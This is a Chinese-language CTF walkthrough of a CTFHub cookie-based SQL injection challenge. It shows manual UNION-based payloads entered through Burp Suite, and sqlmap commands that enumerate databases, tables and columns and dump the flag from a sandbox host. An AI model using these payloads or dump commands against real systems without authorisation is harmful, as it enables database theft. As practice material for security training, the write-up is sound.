技能树-Web题-SQL注入-Mysql结构-Cookie注入
文章目录
Mysql结构—Cookie注入
手工注入-使用brupsuit
判断注入点
这里其实可以将数据包放入重放器中进行
输入1 有回显

输入1 and 1=1 有回显

输入1 and 1=2 无回显

由此判断存在注入点
判断字段数
1 order by 3 无回显

1 order by 2 有回显

由此判断字段数为2
判断可回显字段数
-1 union select 1,2 回显出1,2

由此判断可回显字段为1,2字段
爆库名
-1 union select user(),database()

得到库名sqli
爆表名
-1 union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()

得到两个表名,查看第一个表的字段
爆列名
-1 union select user(),group_concat(column_name) from information_schema.columns where table_name='begdigukje'

爆数据
-1 union select user(),xiswasakaq from begdigukje

得到flag
sqlmap(liunx)
爆库名
sqlmap -u http://challenge-8ee61e15fac62f2d.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 --dbs --batch

爆表名
sqlmap -u http://challenge-8ee61e15fac62f2d.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 -D sqli --tables --batch

爆列名
sqlmap -u http://challenge-8ee61e15fac62f2d.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 -D sqli -T oeqvuxbdhi --columns --batch

爆数据
sqlmap -u http://challenge-8ee61e15fac62f2d.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 -D sqli -T oeqvuxbdhi -C pvyensfayg --dump --batch

得到flag
本文详细介绍了如何利用SQL注入技巧,如手工注入、brupsuit工具和sqlmap脚本,在Mysql结构中检测Cookie注入点,判断字段数,提取库名、表名、列名及数据。通过实际操作展示了爆库爆表爆列的过程。
1328





